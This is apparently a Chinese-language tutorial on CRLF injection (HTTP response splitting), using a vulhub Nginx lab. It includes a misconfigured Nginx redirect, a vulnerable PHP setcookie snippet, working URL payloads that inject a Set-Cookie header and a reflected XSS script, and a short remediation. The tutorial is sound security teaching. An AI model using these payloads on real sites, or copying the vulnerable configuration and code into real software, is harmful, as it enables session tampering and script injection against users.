CRLF注入漏洞原理

目录

    • 漏洞原理
    • 换行符、回车符
    • 漏洞环境搭建
    • 漏洞利用讲解
      • 修改会话值
      • 其他漏洞
        • 反射形xss
      • 漏洞加固
      • 参考链接


漏洞原理

  CRLF注入漏洞又称HTTP响应拆分漏洞(HTTP Response Splitting),攻击方式是将回车符、换行符注入到HTTP的响应包中。
  HTTP响应包通常以两个换行符,去划分响应头与响应正文两个部分。当用户的操作足以控制响应头的内容时,将会出现CRLF漏洞。

换行符、回车符

  • 回车符(CR,ASCII 13,\r,%0d)
  • 换行符(LF,ASCII 10,\n,%0a)

漏洞环境搭建

利用docker搭建vulhub靶场,进入/vulhub/nginx/insecure-configuration目录

启动镜像:

docker-compose up -d

8080端口是crlf漏洞靶场
在这里插入图片描述
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。

错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

location / {
	return 302 https://$host$uri;
}

漏洞利用讲解

修改会话值

Payload:http://your-ip:8080/%0a%0dSet-Cookie:%20a=1,可注入Set-Cookie头。
CRLF注入漏洞原理_第1张图片

其他漏洞

由于这个靶场只能修改Location url后的值,不能进行其他漏洞的演示。这里只能简单讲解其他漏洞的利用。

漏洞源码:



$test = $_POST['setcookie'];
if(isset($test)){
	setcookie($test);
}

?>
反射形xss

当我们输入两次%0d时,响应头和响应正文会进行分离,就可以构成反射行xss

payload:

http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0a<script>alert('xss')</script>

响应包:

HTTP/1.1 200 OK
Content-Type: text/html 
Connection: close 
set-cookie: 
X-XSS-Protection: 0


<script>alert('xss')script>

漏洞加固

过滤 \r 、\n 之类的换行符,避免输入的数据污染到其他 HTTP 消息头。

参考链接

CRLF Injection漏洞的利用与实例分析

你可能感兴趣的:(基础知识,nginx,安全,安全漏洞,渗透测试)